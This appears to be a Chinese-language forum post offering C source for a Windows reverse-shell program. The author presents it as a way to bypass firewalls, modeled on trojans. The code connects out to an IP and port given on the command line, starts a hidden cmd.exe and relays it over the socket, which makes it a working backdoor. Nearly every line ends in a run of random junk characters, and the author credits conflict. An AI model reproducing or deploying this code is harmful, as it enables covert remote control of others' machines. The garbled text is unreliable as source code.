这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8<BYAHY^
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/* ============================== USF9sF0l
Rebound port in Windows NT 3r{3HaN(^'
By wind,2006/7 ckR>ps[ u
===============================*/ L $R"?O7
#include { +d](+$
#include +NML>g#F~z
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#pragma comment(lib,"wsock32.lib") 8 xfn$
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void OutputShell(); ITcgpK6k
SOCKET sClient; t8vR9]n
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L=`QF'Im
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void main(int argc,char **argv) Ir%L%MuR]
{ |'mwr!
WSADATA stWsaData; UC3&:aQ!
int nRet; 7Mx F?
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SOCKADDR_IN stSaiClient,stSaiServer; Q-A:0F&{t
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if(argc != 3) ,1xX`:
{ Hzm<KQ
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printf("Useage:\n\rRebound DestIP DestPort\n"); ?D 8<}~Do
return; EPEy60Rx5
} M%(B6};J
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WSAStartup(MAKEWORD(2,2),&stWsaData); m+66x {M2c
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E}^np[u7
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stSaiClient.sin_family = AF_INET; ^\<nOzU?
stSaiClient.sin_port = htons(0); \X3Q,\H
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TcW-pY<N
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e}@VR<h
{ pe}mA}9U
printf("Bind Socket Failed!\n"); YUGE>"{
return; F4M )x`
} zN3[W`q+m
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stSaiServer.sin_family = AF_INET; %"<|u)E
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o%EzK;Df
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .>QzM>zO
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Whoqs_Mm{
{ qV;E%XkkS
printf("Connect Error!"); u{|
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return; PjwDth
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} `'W/uCpl
OutputShell(); '=s{9lxn^
} ^)J2tpr;]=
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void OutputShell() B#Q` !B4v
{ I{bDa'rX
char szBuff[1024]; C~e&J&zh
SECURITY_ATTRIBUTES stSecurityAttributes; h#hx(5"6
OSVERSIONINFO stOsversionInfo; 0B}O&DC%|
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0H$6_YX4A
STARTUPINFO stStartupInfo; Y"{L&H `
char *szShell; $7bLw)7
PROCESS_INFORMATION stProcessInformation; WD/\f$4
unsigned long lBytesRead; GG0H3MSc
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _sp,,gz
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); PL/g@a^tY
stSecurityAttributes.lpSecurityDescriptor = 0; $Cgl$A
stSecurityAttributes.bInheritHandle = TRUE; wDQ@$T^vh
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -JKl\ E
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }l>\D~:M
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^_4e^D]P"
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XC(:O(jdA2
stStartupInfo.wShowWindow = SW_HIDE; bA_/6r)u
stStartupInfo.hStdInput = hReadPipe; %IA1Y>`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7`s*
{
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GetVersionEx(&stOsversionInfo); O'Mo/
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switch(stOsversionInfo.dwPlatformId) Fe[)-_%G
{ 2Kkm-#p7
case 1: !Y8+Z&^2
szShell = "command.com"; "h@=O
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break; *&vlfH
default: @:dn\{Zsea
szShell = "cmd.exe"; k!Ym<RD%N
break; Ir\P[A
} DX2_}|$!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K N Y
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send(sClient,szMsg,77,0); ndmsXls
while(1) bIWSNNV0F
{ JpRn)e'Z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !"g2F}n
if(lBytesRead) =:M/hM)#
{ YujR}=B!/
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o&t*[#
send(sClient,szBuff,lBytesRead,0); ~|lEi1|
} @3w6!Sgh
else -Qy@-s $
{ ]x1;uE?1J
lBytesRead=recv(sClient,szBuff,1024,0); ;tJ}*!z
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if(lBytesRead<=0) break; 8|L U=p`y'
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); QO/nUl0E
} !.G knDT
} HUFm@?
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return; {e+}jZ[L
}